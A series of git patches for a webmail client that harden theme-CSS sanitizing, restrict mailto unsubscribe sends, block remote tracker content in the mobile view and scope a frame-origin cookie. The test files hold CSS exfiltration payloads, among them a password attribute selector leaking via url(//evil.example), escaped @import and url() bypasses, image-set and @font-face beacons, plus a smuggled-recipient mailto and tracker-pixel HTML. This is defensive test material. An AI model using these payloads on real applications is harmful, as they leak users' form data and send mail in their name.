() => { expect(errors.some(e => e.includes('disallowed'))).toBe(true); }); }); + + describe('sanitizer bypasses', () => { + const BS = String.fromCharCode(92); // backslash + const PAYLOADS: Record = { + protocolRelative: ':root{--color-primary:#123} input[type=password][value$="a"]{background-image:url(//evil.example/k?a)}', + escapedScheme: ':root{--color-primary:#123} body{background:url(' + BS + '68ttps://evil.example/x)}', + imageSet: ':root{--color-primary:#123} body{background-image:image-set("https://evil.example/x" 1x)}', + escapedImport: '@' + BS + '69mport url(//evil.example/i.css); :root{--color-primary:#123}', + escapedUrl: ':root{--color-primary:#123; --x: ' + BS + '75rl(//evil.example/y)}', + fontFace: ':root{--color-primary:#123} @font-face{font-family:x;src:url(//evil.example/f?A);unicode-range:U+41} body{font-family:x}', + }; + + it.each(Object.entries(PAYLOADS))('%s: nothing reaches evil.example', (_name, css) => { + const { css: cleaned } = sanitizeThemeCSS(css); + expect(cleaned).not.toContain('evil.example'); + expect(sanitizeSkinCSS(css).css).not.toContain('evil.example'); + expect(validateThemeCSSSafety(css).valid).toBe(false); + }); + + it('drops rules for any selector but :root and .dark', () => { + const css = ':root{--color-primary:#123} [data-testid=sender]::after{content:"Verified sender"} .dark{--color-primary:#456}'; + const { css: cleaned, warnings } = sanitizeThemeCSS(css); + expect(cleaned).not.toContain('Verified sender'); + expect(cleaned).toContain('--color-primary:#123'); + expect(cleaned).toContain('--color-primary:#456'); + expect(warnings.some((w) => w.includes('[data-testid=sender]'))).toBe(true); + }); + + it('drops rules nested inside :root', () => { + const { css: cleaned } = sanitizeThemeCSS(':root{--color-primary:#123; & input[type=password]{display:none}}'); + expect(cleaned).not.toContain('password'); + }); + + it('keeps @media, @supports and @keyframes wrappers around allowed rules', () => { + const css = '@media (prefers-contrast: more){:root{--color-border:#000} body{display:none}} @keyframes pulse{from{opacity:0}to{opacity:1}}'; + const { css: cleaned } = sanitizeThemeCSS(css); + expect(cleaned).toContain('@media (prefers-contrast: more)'); + expect(cleaned).toContain('--color-border:#000'); + expect(cleaned).not.toContain('display:none'); + expect(cleaned).toContain('@keyframes pulse'); + }); + + it('keeps a same-document fragment reference', () => { + const css = ':root{--color-primary:#123; --mask: url(#fade)}'; + expect(sanitizeThemeCSS(css).css).toContain('url(#fade)'); + }); + }); }); diff --git a/lib/plugin-types.ts b/lib/plugin-types.ts index bd0bb525d..fee38be06 100644 --- a/lib/plugin-types.ts +++ b/lib/plugin-types.ts @@ -1103,8 +1103,12 @@ export const ALLOWED_PLUGIN_FILES = new Set([ export const DISALLOWED_CSS_PATTERNS = [ /@import\b/i, - /url\s*\(\s*['"]?https?:/i, - /url\s*\(\s*['"]?data:/i, + // Every url() except a same-document fragment loads something: a remote + // host (also written protocol-relative, `url(//host)`), a data: document, + // a same-origin path. Themes ship no assets, so none is needed. + /url\s*\(\s*(?!['"]?\s*#)/i, + // Takes plain strings, so it loads remote images without any url(). + /image-set\s*\(/i, /expression\s*\(/i, /javascript\s*:/i, /-moz-binding/i, diff --git a/lib/plugin-validator.ts b/lib/plugin-validator.ts index d7aa01686..c37210f58 100644 --- a/lib/plugin-validator.ts +++ b/lib/plugin-validator.ts @@ -11,7 +11,7 @@ import { MAX_THEME_SKIN_BYTES, ALLOWED_PLUGIN_FILES, } from './plugin-types'; -import { sanitizeThemeCSS, sanitizeSkinCSS, validateThemeCSSSafety } from './theme-loader'; +import { sanitizeThemeCSS, sanitizeSkinCSS } from './theme-loader'; import { compileAdvancedTheme, isAdvancedManifest } from './theme-compiler'; export interface ValidationResult { @@ -234,13 +234,11 @@ export async function extractTheme(file: File): Promise { let userCSS = ''; if (cssFile) { userCSS = await cssFile.async('string'); - const safety = validateThemeCSSSafety(userCSS); - if (!safety.valid) { - // Sanitize instead of rejecting - const sanitized = sanitizeThemeCSS(userCSS); - userCSS = sanitized.css; - warnings.push(...sanitized.warnings); - } + // Sanitize instead of rejecting, and always: the sanitizer is also what + // drops rules outside :root and .dark. + const sanitized = sanitizeThemeCSS(userCSS); + userCSS = sanitized.css; + warnings.push(...sanitized.warnings); } else if (!isAdvanced) { errors.push('Missing theme.css'); return { valid: false, errors, warnings, manifest, css: '', skin: null, preview: null }; diff --git a/lib/theme-compiler.ts b/lib/theme-compiler.ts index 55f3c6b69..d40d1f990 100644 --- a/lib/theme-compiler.ts +++ b/lib/theme-compiler.ts @@ -104,7 +104,10 @@ function isSafeTokenKey(key: string): boolean { function isSafeTokenValue(value: string): boolean { if (/[{}<>]/.test(value)) return false; if (value.includes(';')) return false; - if (/url\s*\(\s*['"]?(https?|data|javascript):/i.test(value)) return false; + // A token is a colour, length or font stack: it never needs an escape, + // and escapes are how `\75rl(` slips past a pattern check. + if (value.includes('\\')) return false; + if (/url\s*\(|image-set\s*\(/i.test(value)) return false; if (/expression\s*\(/i.test(value)) return false; if (/-moz-binding/i.test(value)) return false; if (/javascript\s*:/i.test(value)) return false; diff --git a/lib/theme-loader.ts b/lib/theme-loader.ts index 5ae8d2bbe..fa49e668d 100644 --- a/lib/theme-loader.ts +++ b/lib/theme-loader.ts @@ -8,57 +8,176 @@ const THEME_SKIN_STYLE_ID = 'active-theme-skin'; const THEME_SKIN_BODY_ATTR = 'data-theme-skin'; /** - * Sanitize theme CSS: strip dangerous patterns like @import, external url(), - * JavaScript expressions, and -moz-binding. Returns cleaned CSS. + * Resolve CSS escapes (`\69mport`, `\75rl(`, `\:`) so a keyword spelled with + * escapes is recognised for what the browser will read. For detection only: + * the output is not safe to inject, since a decoded `\"` would end a string. */ -export function sanitizeThemeCSS(css: string): { css: string; warnings: string[] } { - const warnings: string[] = []; - let cleaned = css; +function decodeCssEscapes(css: string): string { + return css.replace(/\\([0-9a-fA-F]{1,6})[ \t\n\r\f]?|\\([^\n\r\f0-9a-fA-F])/g, (_match, hex: string | undefined, ch: string | undefined) => { + if (hex === undefined) return ch ?? ''; + const codePoint = parseInt(hex, 16); + return codePoint > 0 && codePoint <= 0x10ffff ? String.fromCodePoint(codePoint) : '�'; + }); +} - for (const pattern of DISALLOWED_CSS_PATTERNS) { - if (pattern.test(cleaned)) { - warnings.push(`Removed disallowed pattern: ${pattern.source}`); - cleaned = cleaned.replace(new RegExp(pattern.source, 'gi'), '/* [removed] */'); - } +function stripComments(css: string): string { + return css.replace(/\/\*[\s\S]*?\*\//g, ' '); +} + +/** A disallowed construct that only appears once escapes are resolved. */ +function hasEscapedDisallowedPattern(css: string): boolean { + const decoded = decodeCssEscapes(stripComments(css)); + return DISALLOWED_CSS_PATTERNS.some((pattern) => pattern.test(decoded) && !pattern.test(css)); +} + +function stripDisallowedPatterns(css: string, label: string): { css: string; warnings: string[] } { + // Escapes that spell out a banned construct have no honest use, and where + // the construct ends can't be found without a full parser: drop it all. + if (hasEscapedDisallowedPattern(css)) { + return { css: '', warnings: [`${label}removed the stylesheet: it hides a disallowed pattern behind CSS escapes`] }; } + const warnings: string[] = []; + let cleaned = css; + for (const pattern of DISALLOWED_CSS_PATTERNS) { + if (pattern.test(cleaned)) { + warnings.push(`${label}removed disallowed pattern: ${pattern.source}`); + cleaned = removeMatches(cleaned, new RegExp(pattern.source, 'gi')); + } + } return { css: cleaned, warnings }; } /** - * Validate that theme CSS only targets :root and .dark selectors. - * Returns warnings for any other selectors found. + * Replace each match with a comment. A match that opens a function + * (`url(`, `image-set(`) takes its arguments along, up to the closing `)`. */ -export function validateThemeSelectors(css: string): string[] { - const warnings: string[] = []; +function removeMatches(css: string, pattern: RegExp): string { + let out = ''; + let last = 0; + let match: RegExpExecArray | null; + while ((match = pattern.exec(css)) !== null) { + let end = match.index + match[0].length; + if (match[0].endsWith('(')) end = findParenEnd(css, end); + out += css.slice(last, match.index) + '/* [removed] */'; + last = end; + pattern.lastIndex = Math.max(end, match.index + 1); + } + return out + css.slice(last); +} - // Remove comments - const noComments = css.replace(/\/\*[\s\S]*?\*\//g, ''); +/** Index just past the `)` closing a call whose arguments start at `start`. */ +function findParenEnd(css: string, start: number): number { + let depth = 1; + for (let i = start; i < css.length; i++) { + const c = css[i]; + if (c === '\\') { + i++; + } else if (c === '"' || c === "'") { + for (i++; i < css.length && css[i] !== c; i++) { + if (css[i] === '\\') i++; + } + } else if (c === '(') { + depth++; + } else if (c === ')' && --depth === 0) { + return i + 1; + } else if (c === ';' || c === '}' || c === '{') { + return i; + } + } + return css.length; +} - // Find selector blocks (text before { that isn't inside a value) - const selectorRegex = /([^{}]+)\{/g; - let match; - while ((match = selectorRegex.exec(noComments)) !== null) { - const selector = match[1].trim(); - // Allow :root, .dark, @font-face, @keyframes, @media - if ( - selector === ':root' || - selector === '.dark' || - selector.startsWith('@font-face') || - selector.startsWith('@keyframes') || - selector.startsWith('@media') || - selector === '' - ) { +/** + * Sanitize theme CSS: strip dangerous patterns like @import, url(), + * image-set(), JavaScript expressions and -moz-binding, then drop every + * rule whose selector is not `:root` or `.dark` (see restrictThemeSelectors). + */ +export function sanitizeThemeCSS(css: string): { css: string; warnings: string[] } { + const stripped = stripDisallowedPatterns(css, ''); + const scoped = restrictThemeSelectors(stripped.css); + return { css: scoped.css, warnings: [...stripped.warnings, ...scoped.warnings] }; +} + +const THEME_SELECTORS = new Set([':root', '.dark']); +const OPAQUE_AT_RULES = /^@(?:-webkit-)?keyframes\b|^@font-face\b/i; +const NESTING_AT_RULES = /^@(?:media|supports)\b/i; + +/** Index of the `}` closing the block opened just before `start`, or -1. */ +function findBlockEnd(css: string, start: number): number { + let depth = 1; + for (let i = start; i < css.length; i++) { + const c = css[i]; + if (c === '\\') { + i++; + } else if (c === '"' || c === "'") { + for (i++; i < css.length && css[i] !== c; i++) { + if (css[i] === '\\') i++; + } + } else if (c === '{') { + depth++; + } else if (c === '}' && --depth === 0) { + return i; + } + } + return -1; +} + +function filterThemeRules(css: string, warnings: string[]): string { + const out: string[] = []; + let i = 0; + while (i < css.length) { + const open = css.indexOf('{', i); + const semi = css.indexOf(';', i); + if (open === -1 || (semi !== -1 && semi < open)) { + // A statement without a block (`@charset`, `@namespace`, stray text). + const end = semi === -1 ? css.length : semi + 1; + const statement = css.slice(i, end).trim(); + if (statement && statement !== ';') warnings.push(`Removed "${statement.slice(0, 60)}" - themes only set :root and .dark variables`); + i = end; continue; } + const close = findBlockEnd(css, open + 1); + if (close === -1) { + warnings.push('Removed an unterminated rule'); + break; + } + const prelude = css.slice(i, open).trim(); + const body = css.slice(open + 1, close); + i = close + 1; - // Inside @media blocks, also allow :root and .dark - if (selector === ':root' || selector === '.dark') continue; - - warnings.push(`Non-standard selector "${selector}" - themes should only use :root and .dark`); + if (OPAQUE_AT_RULES.test(prelude)) { + out.push(`${prelude} {${body}}`); + } else if (NESTING_AT_RULES.test(prelude)) { + out.push(`${prelude} {${filterThemeRules(body, warnings)}}`); + } else if (prelude.split(',').every((selector) => THEME_SELECTORS.has(selector.trim())) && !body.includes('{')) { + out.push(`${prelude} {${body}}`); + } else { + warnings.push(`Removed rule for "${prelude.slice(0, 60)}" - themes only set :root and .dark variables`); + } } + return out.join('\n'); +} - return warnings; +/** + * Keep only rules for `:root` and `.dark` (declarations only, no nested + * rules), plus `@font-face`, `@keyframes`, and `@media` / `@supports` + * wrapping such rules. Theme CSS is injected into the app document; any + * other selector could restyle or hide real UI, or read form state through + * attribute selectors. Component-level styling belongs in a v2 skin. + */ +export function restrictThemeSelectors(css: string): { css: string; warnings: string[] } { + const warnings: string[] = []; + const filtered = filterThemeRules(stripComments(css), warnings); + return { css: filtered, warnings }; +} + +/** + * Validate that theme CSS only targets :root and .dark selectors. + * Returns a warning for every rule restrictThemeSelectors() would drop. + */ +export function validateThemeSelectors(css: string): string[] { + return restrictThemeSelectors(css).warnings; } /** @@ -135,15 +254,9 @@ export function removeThemeSkinCSS(): void { * prohibitions still apply. */ export function sanitizeSkinCSS(css: string): { css: string; warnings: string[] } { - const warnings: string[] = []; - let cleaned = css; - - for (const pattern of DISALLOWED_CSS_PATTERNS) { - if (pattern.test(cleaned)) { - warnings.push(`Skin: removed disallowed pattern: ${pattern.source}`); - cleaned = cleaned.replace(new RegExp(pattern.source, 'gi'), '/* [removed] */'); - } - } + const stripped = stripDisallowedPatterns(css, 'Skin: '); + const warnings = stripped.warnings; + let cleaned = stripped.css; // `@import` is already covered by DISALLOWED_CSS_PATTERNS, but skins also // get an explicit no-`@charset`/`@namespace` policy so they can't change @@ -167,12 +280,14 @@ export function validateThemeCSSSafety(css: string): { valid: boolean; errors: s return { valid: false, errors }; } - // Check for dangerous patterns + // Check for dangerous patterns, also when spelled with CSS escapes + const decoded = decodeCssEscapes(stripComments(css)); for (const pattern of DISALLOWED_CSS_PATTERNS) { - if (pattern.test(css)) { + if (pattern.test(decoded)) { errors.push(`Contains disallowed pattern: ${pattern.source}`); } } + errors.push(...restrictThemeSelectors(css).warnings); // Check the CSS actually sets some variables if (!css.includes('--color-')) { diff --git a/stores/theme-store.ts b/stores/theme-store.ts index e3a9e9d00..e9ad9da78 100644 --- a/stores/theme-store.ts +++ b/stores/theme-store.ts @@ -545,7 +545,8 @@ function applyCustomThemeCSS(theme: InstalledTheme, resolvedTheme: 'light' | 'da // Bail out if the user switched themes while we were awaiting handlers. if (useThemeStore.getState().activeThemeId !== themeId) return; if (transformed && transformed !== theme.css) { - injectThemeCSS(transformed); + // A plugin's output gets no more reach than a theme's own CSS. + injectThemeCSS(sanitizeThemeCSS(transformed).css); } }) .catch(() => { From f0aa0eedab5cded457fdf5eda19836225e654429 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:41:14 +0200 Subject: [PATCH 036/358] fix: show what a mailto unsubscribe sends and limit it to one recipient A newsletter's List-Unsubscribe `mailto:` was sent from the user's own account as written: every `to=` field became a recipient, and subject and body were the sender's choice. The confirmation said only "Unsubscribe from this sender?", so one click could mail "I resign" to someone's boss and HR. The unsubscribe now goes to the single address in the URL (a list of addresses is refused and `to=` is ignored), the subject is kept on one line and both subject and body are capped. Both confirmations show the recipient, subject and body before anything is sent. --- .../__tests__/unsubscribe-banner.test.tsx | 52 +++++++++++++++++++ components/email/unsubscribe-banner.tsx | 21 ++++++-- components/ui/confirm-dialog.tsx | 4 ++ lib/__tests__/validation.test.ts | 29 +++++++++++ lib/validation.ts | 33 ++++++++++++ 5 files changed, 134 insertions(+), 5 deletions(-) create mode 100644 components/email/__tests__/unsubscribe-banner.test.tsx diff --git a/components/email/__tests__/unsubscribe-banner.test.tsx b/components/email/__tests__/unsubscribe-banner.test.tsx new file mode 100644 index 000000000..6ca90a263 --- /dev/null +++ b/components/email/__tests__/unsubscribe-banner.test.tsx @@ -0,0 +1,52 @@ +import { describe, it, expect, vi } from 'vitest'; +import { render, screen, fireEvent, waitFor } from '@testing-library/react'; + +vi.mock('next-intl', () => ({ + useTranslations: () => (key: string) => key, +})); +vi.mock('@/hooks/use-media-query', () => ({ + useIsDesktop: () => true, +})); + +import { UnsubscribeBanner } from '../unsubscribe-banner'; + +// A List-Unsubscribe mailto: is written by the sender. One click used to +// send whatever it named - several hidden recipients, any subject and body - +// from the user's account, behind a dialog that showed none of it. +describe('UnsubscribeBanner mailto', () => { + it('shows where the message goes and sends it to that one address only', async () => { + const send = vi.fn().mockResolvedValue(undefined); + render( + {}} + />, + ); + + fireEvent.click(screen.getByText('email_viewer.unsubscribe_banner.button')); + expect(screen.getByText('boss@corp.example')).toBeTruthy(); + expect(screen.getByText('I resign')).toBeTruthy(); + expect(screen.getByText('Effective today')).toBeTruthy(); + + fireEvent.click(screen.getByText('email_viewer.unsubscribe_banner.confirm_button')); + await waitFor(() => expect(send).toHaveBeenCalledTimes(1)); + expect(send.mock.calls[0][0]).toEqual({ to: ['boss@corp.example'], subject: 'I resign', body: 'Effective today' }); + }); + + it('offers nothing for a mailto: naming several recipients', () => { + const { container } = render( + {}} + />, + ); + expect(container.textContent).toBe(''); + }); +}); diff --git a/components/email/unsubscribe-banner.tsx b/components/email/unsubscribe-banner.tsx index d4a64949c..361332080 100644 --- a/components/email/unsubscribe-banner.tsx +++ b/components/email/unsubscribe-banner.tsx @@ -3,7 +3,7 @@ import { useState, useRef, useEffect } from 'react'; import { Loader2, CheckCircle, AlertCircle } from '@/components/icons'; import { useTranslations } from 'next-intl'; -import { isValidUnsubscribeUrl, parseMailtoUrl } from '@/lib/validation'; +import { isValidUnsubscribeUrl, parseUnsubscribeMailto } from '@/lib/validation'; import { ConfirmDialog } from '@/components/ui/confirm-dialog'; import { useIsDesktop } from '@/hooks/use-media-query'; @@ -39,6 +39,16 @@ export function UnsubscribeBanner({ const unsubUrl = unsubMethod === 'http' ? listUnsubscribe.http : listUnsubscribe.mailto; + // The sender wrote this URL: the confirmation shows exactly what will be + // sent, and where, before the user's account sends it. + const mailtoFields = unsubMethod === 'mailto' && unsubUrl ? parseUnsubscribeMailto(unsubUrl) : null; + const mailtoDetails = mailtoFields ? ( +
+
{mailtoFields.to[0]}
+ {mailtoFields.subject &&
{mailtoFields.subject}
} + {mailtoFields.body &&
{mailtoFields.body}
} +
+ ) : null; useEffect(() => { if (!showConfirm) return; @@ -57,7 +67,7 @@ export function UnsubscribeBanner({ }; }, [showConfirm]); - if (!unsubUrl || !unsubMethod) { + if (!unsubUrl || !unsubMethod || (unsubMethod === 'mailto' && !mailtoFields)) { return null; } @@ -83,14 +93,13 @@ export function UnsubscribeBanner({ // once the server accepted it. The previous hidden-link click handed // the mailto: to the OS mail handler and claimed success even though // nothing was ever sent. - const fields = parseMailtoUrl(unsubUrl); - if (!fields) { + if (!mailtoFields) { setError(true); setProcessing(false); setShowConfirm(false); return; } - await onSendMailtoUnsubscribe(fields); + await onSendMailtoUnsubscribe(mailtoFields); setSuccess(true); setProcessing(false); @@ -152,6 +161,7 @@ export function UnsubscribeBanner({

{t('email_viewer.unsubscribe_banner.confirm_title')}

+ {mailtoDetails &&
{mailtoDetails}
}
diff --git a/lib/__tests__/validation.test.ts b/lib/__tests__/validation.test.ts index e096a37c9..97576e141 100644 --- a/lib/__tests__/validation.test.ts +++ b/lib/__tests__/validation.test.ts @@ -6,6 +6,7 @@ import { isValidUnsubscribeUrl, parseUnsubscribeUrls, parseMailtoUrl, + parseUnsubscribeMailto, } from '../validation'; describe('validation', () => { @@ -390,3 +391,31 @@ describe('parseMailtoUrl', () => { expect(r?.subject).toBe('%E0%A4%A'); }); }); + +describe('parseUnsubscribeMailto', () => { + it('keeps the one recipient, subject and body a list needs', () => { + expect(parseUnsubscribeMailto('mailto:list-request@example.com?subject=unsubscribe%20123')).toEqual({ + to: ['list-request@example.com'], subject: 'unsubscribe 123', body: undefined, + }); + }); + + it('ignores extra recipients smuggled in through to=', () => { + const r = parseUnsubscribeMailto('mailto:boss@corp.example?to=hr@corp.example&to=press@news.example&subject=I%20resign'); + expect(r?.to).toEqual(['boss@corp.example']); + }); + + it('refuses a list of addresses', () => { + expect(parseUnsubscribeMailto('mailto:a@example.com,b@example.com')).toBeNull(); + }); + + it('refuses an address part that is not an address, even with a valid to=', () => { + expect(parseUnsubscribeMailto('mailto:nobody?to=victim@example.com')).toBeNull(); + expect(parseUnsubscribeMailto('mailto:?to=victim@example.com')).toBeNull(); + }); + + it('keeps the subject on one line and caps subject and body', () => { + const r = parseUnsubscribeMailto(`mailto:l@example.com?subject=a%0D%0Ab&body=${'x'.repeat(2000)}`); + expect(r?.subject).toBe('a b'); + expect(r?.body).toHaveLength(500); + }); +}); diff --git a/lib/validation.ts b/lib/validation.ts index 0c2a5c770..2d988d2d2 100644 --- a/lib/validation.ts +++ b/lib/validation.ts @@ -165,3 +165,36 @@ export function parseMailtoUrl(url: string): { to: string[]; subject?: string; b return to.length > 0 ? { to, subject, body } : null; } + +const UNSUBSCRIBE_SUBJECT_MAX = 200; +const UNSUBSCRIBE_BODY_MAX = 500; + +/** + * Parse a List-Unsubscribe mailto: URL for a one-click send from the + * user's own account. The sender of the newsletter wrote this URL, so it is + * held to what an unsubscribe request needs: exactly one recipient, taken + * from the address part (`to=` query fields are ignored, and a list of + * addresses is refused), a single-line subject and a short body. The + * confirmation shows all three before anything is sent. + */ +export function parseUnsubscribeMailto(url: string): { to: [string]; subject?: string; body?: string } | null { + const parsed = parseMailtoUrl(url); + if (!parsed) return null; + + const rest = url.slice(7); + const queryIndex = rest.indexOf('?'); + const addressPart = queryIndex === -1 ? rest : rest.slice(0, queryIndex); + const addresses = addressPart.split(',').filter((a) => a.trim() !== ''); + if (addresses.length !== 1) return null; + let to: string; + try { + to = decodeURIComponent(addresses[0]).trim(); + } catch { + to = addresses[0].trim(); + } + if (!isValidEmail(to)) return null; + + const subject = parsed.subject?.replace(/[\r\n]+/g, ' ').trim().slice(0, UNSUBSCRIBE_SUBJECT_MAX) || undefined; + const body = parsed.body?.slice(0, UNSUBSCRIBE_BODY_MAX) || undefined; + return { to: [to], subject, body }; +} From 809db3b38d2e7bf3ddc02573191f9765202bee0e Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:45:20 +0200 Subject: [PATCH 037/358] fix: block remote content in the mobile conversation view The conversation view used on phones built its own sanitizer hook that only caught `` starting with a lowercase scheme and inline style `url()`, and its iframe CSP always allowed http(s) images. With remote content blocked (the default `ask` policy) uppercase schemes, srcset, ``, video posters and background attributes still loaded, so trackers fired when a phone user opened a thread. The view now uses the desktop viewer's `blockExternalResourcesOnNode`, and the strict iframe CSP is shared as `emailIframeCsp()` and applied whenever remote content is blocked, together with `no-referrer`. --- ...ad-conversation-view-remote-block.test.tsx | 54 +++++++++++++++++++ components/email/email-viewer.tsx | 19 ++----- components/email/thread-conversation-view.tsx | 36 +++++-------- lib/email-sanitization.ts | 16 ++++++ 4 files changed, 89 insertions(+), 36 deletions(-) create mode 100644 components/email/__tests__/thread-conversation-view-remote-block.test.tsx diff --git a/components/email/__tests__/thread-conversation-view-remote-block.test.tsx b/components/email/__tests__/thread-conversation-view-remote-block.test.tsx new file mode 100644 index 000000000..5b4ed7ea5 --- /dev/null +++ b/components/email/__tests__/thread-conversation-view-remote-block.test.tsx @@ -0,0 +1,54 @@ +// The mobile conversation view built its own sanitizer hook, which caught +// only and inline style url(), and a CSP that always allowed +// http:/https: images - so with remote content blocked (default policy +// 'ask') srcset, background attributes, posters and still loaded. +import { describe, expect, it, vi } from 'vitest'; +import { render } from '@testing-library/react'; + +const t = Object.assign((k: string) => k, { raw: (k: string) => k, rich: (k: string) => k }); +vi.mock('next-intl', () => ({ + useTranslations: () => t, + useLocale: () => 'en', +})); +vi.mock('@/hooks/use-wopi-status', () => ({ useWopiStatus: () => ({ enabled: false }), canWopiOpen: () => false })); +vi.mock('@/hooks/use-own-domain-address', () => ({ useOwnDomainAddress: () => () => false })); + +const TRACKERS = ['upper.gif', 'srcset.gif', 'bgattr.gif', 'poster.gif', 'source.gif']; +const HTML = ` +

hello

+ + +
x
+ +p +`; + +describe('conversation view honours the remote-content block', () => { + it('emits no live tracker URL and a strict img-src while blocked', async () => { + const { useSettingsStore } = await import('@/stores/settings-store'); + expect(useSettingsStore.getState().externalContentPolicy).toBe('ask'); + const { ThreadConversationView } = await import('@/components/email/thread-conversation-view'); + const email = { + id: 'e1', threadId: 't1', mailboxIds: { a: true }, keywords: { $seen: true }, + from: [{ name: 'Sender', email: 'sender@t.example' }], to: [{ email: 'me@example.org' }], + subject: 's', receivedAt: '2026-09-26T10:00:00Z', size: 1, preview: 'hello', hasAttachment: false, + htmlBody: [{ partId: '1', type: 'text/html' }], textBody: [], attachments: [], + bodyValues: { '1': { value: HTML } }, + }; + const { container } = render( + {}} + />, + ); + const iframe = container.querySelector('iframe'); + expect(iframe).not.toBeNull(); + const srcdoc = iframe!.getAttribute('srcdoc') ?? ''; + // A live attribute, not the inert data-blocked-* copy the blocker keeps. + const live = TRACKERS.filter((name) => new RegExp(`\\s(src|srcset|background|poster)="[^"]*${name.replace('.', '\\.')}`, 'i').test(srcdoc)); + const csp = /Content-Security-Policy" content="([^"]*)"/.exec(srcdoc)?.[1] ?? ''; + expect(live).toEqual([]); + expect(csp).not.toMatch(/img-src[^;]*https?:/); + }); +}); diff --git a/components/email/email-viewer.tsx b/components/email/email-viewer.tsx index 686b1526a..8609d379f 100644 --- a/components/email/email-viewer.tsx +++ b/components/email/email-viewer.tsx @@ -4,7 +4,7 @@ import { useState, useEffect, useLayoutEffect, useMemo, useRef, useCallback, use import { Email, ContactCard, Mailbox } from "@/lib/jmap/types"; import { emailExportFilename, attachmentDownloadFilename, attachmentsBundleFilename, DEFAULT_EMAIL_TEMPLATE, DEFAULT_ATTACHMENT_TEMPLATE } from "@/lib/download-filename"; import { EML_IMPORT_ACCEPT, expandImportableEmails } from "@/lib/eml-import"; -import { applyNewTabToAnchor, escapeHtml, isOpenableLinkHref, plainTextToSafeHtml, sanitizeEmailBodyForIframe, sanitizeEmailHtml, sanitizePlainTextRenderedHtml } from "@/lib/email-sanitization"; +import { applyNewTabToAnchor, emailIframeCsp, escapeHtml, isOpenableLinkHref, plainTextToSafeHtml, sanitizeEmailBodyForIframe, sanitizeEmailHtml, sanitizePlainTextRenderedHtml } from "@/lib/email-sanitization"; import { getRenderableHtmlBody } from "@/lib/email-body-selection"; import { collectReferencedCids, isEmbeddedInBody } from "@/lib/attachment-visibility"; import { collapsePlainTextQuotes, setupQuoteCollapse } from "@/lib/quote-collapse"; @@ -2290,19 +2290,10 @@ export function EmailViewer({ p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0 0 6px; } ` : ''; - // Defense-in-depth CSP inside srcDoc. default-src 'none' forbids script - // execution even if the sanitizer ever lets a '.padEnd(64), { headers: { 'content-type': type } })); + expect(res.headers.get('content-type')).toBe('image/png'); + expect(res.headers.get('x-bulwark-favicon')).toBe('missing'); + }); +}); From 3ac6c25c71f8bb1863665f860b9b88e7da2f0f2f Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 16:27:03 +0200 Subject: [PATCH 073/358] fix: keep sibling subdomains from widening the sidebar-app frame-src The inline sidebar apps hand their origins to the proxy through a client-written cookie, which the proxy merges into `frame-src`. Any same-site sibling host could set that cookie too. Over HTTPS the cookie is now `__Host-bulwark_app_frame_origins`, which only this exact host can set, and the proxy ignores the unprefixed name there. Plain HTTP (local development) keeps the old name. --- lib/__tests__/app-frame-origins.test.ts | 19 +++++++++++++++++++ lib/security/app-frame-origins-client.ts | 21 ++++++++++++++++----- lib/security/app-frame-origins.ts | 20 ++++++++++++++++++++ proxy.ts | 7 +++++-- 4 files changed, 60 insertions(+), 7 deletions(-) diff --git a/lib/__tests__/app-frame-origins.test.ts b/lib/__tests__/app-frame-origins.test.ts index f7a5174f2..9d56703af 100644 --- a/lib/__tests__/app-frame-origins.test.ts +++ b/lib/__tests__/app-frame-origins.test.ts @@ -5,6 +5,7 @@ import { inlineAppFrameOrigins, isValidAppFrameOrigin, parseAppFrameOrigins, + pickAppFrameOriginsCookie, serializeAppFrameOrigins, } from '@/lib/security/app-frame-origins'; @@ -130,3 +131,21 @@ describe('cookie round-trip', () => { expect(parseAppFrameOrigins(many.join(' '))).toHaveLength(MAX_APP_FRAME_ORIGINS); }); }); + +describe('pickAppFrameOriginsCookie', () => { + const jar = (cookies: Record) => (name: string) => cookies[name]; + + it('trusts only the __Host- cookie over HTTPS: a sibling subdomain can set the plain one', () => { + const cookies = jar({ bulwark_app_frame_origins: 'https://evil.example' }); + expect(pickAppFrameOriginsCookie(cookies, true)).toBeUndefined(); + expect(pickAppFrameOriginsCookie(jar({ + bulwark_app_frame_origins: 'https://evil.example', + '__Host-bulwark_app_frame_origins': 'https://board.example', + }), true)).toBe('https://board.example'); + }); + + it('falls back to the plain cookie over plain HTTP', () => { + expect(pickAppFrameOriginsCookie(jar({ bulwark_app_frame_origins: 'https://board.example' }), false)) + .toBe('https://board.example'); + }); +}); diff --git a/lib/security/app-frame-origins-client.ts b/lib/security/app-frame-origins-client.ts index 1127e0db6..e0e454bc5 100644 --- a/lib/security/app-frame-origins-client.ts +++ b/lib/security/app-frame-origins-client.ts @@ -6,10 +6,18 @@ import { getPathPrefix } from '@/lib/browser-navigation'; import { APP_FRAME_ORIGINS_COOKIE, + APP_FRAME_ORIGINS_SECURE_COOKIE, parseAppFrameOrigins, serializeAppFrameOrigins, } from './app-frame-origins'; +/** `__Host-` over HTTPS, see APP_FRAME_ORIGINS_SECURE_COOKIE. */ +function cookieName(): string { + return typeof window !== 'undefined' && window.location.protocol === 'https:' + ? APP_FRAME_ORIGINS_SECURE_COOKIE + : APP_FRAME_ORIGINS_COOKIE; +} + function readRawCookie(name: string): string | null { if (typeof document === 'undefined') return null; for (const part of document.cookie.split(';')) { @@ -23,7 +31,7 @@ function readRawCookie(name: string): string | null { /** Origins currently advertised to the proxy, validated. */ export function readAppFrameOrigins(): string[] { - return parseAppFrameOrigins(readRawCookie(APP_FRAME_ORIGINS_COOKIE)); + return parseAppFrameOrigins(readRawCookie(cookieName())); } /** @@ -34,13 +42,16 @@ export function readAppFrameOrigins(): string[] { export function writeAppFrameOrigins(origins: ReadonlyArray): boolean { if (typeof document === 'undefined') return false; const value = serializeAppFrameOrigins(origins); + const name = cookieName(); + const secure = name === APP_FRAME_ORIGINS_SECURE_COOKIE; const attrs = [ - `${APP_FRAME_ORIGINS_COOKIE}=${value}`, - `path=${getPathPrefix() || '/'}`, + `${name}=${value}`, + // A __Host- cookie must be on Path=/. + `path=${secure ? '/' : getPathPrefix() || '/'}`, 'max-age=31536000', 'samesite=lax', ]; - if (window.location.protocol === 'https:') attrs.push('secure'); + if (secure) attrs.push('secure'); document.cookie = attrs.join('; '); - return 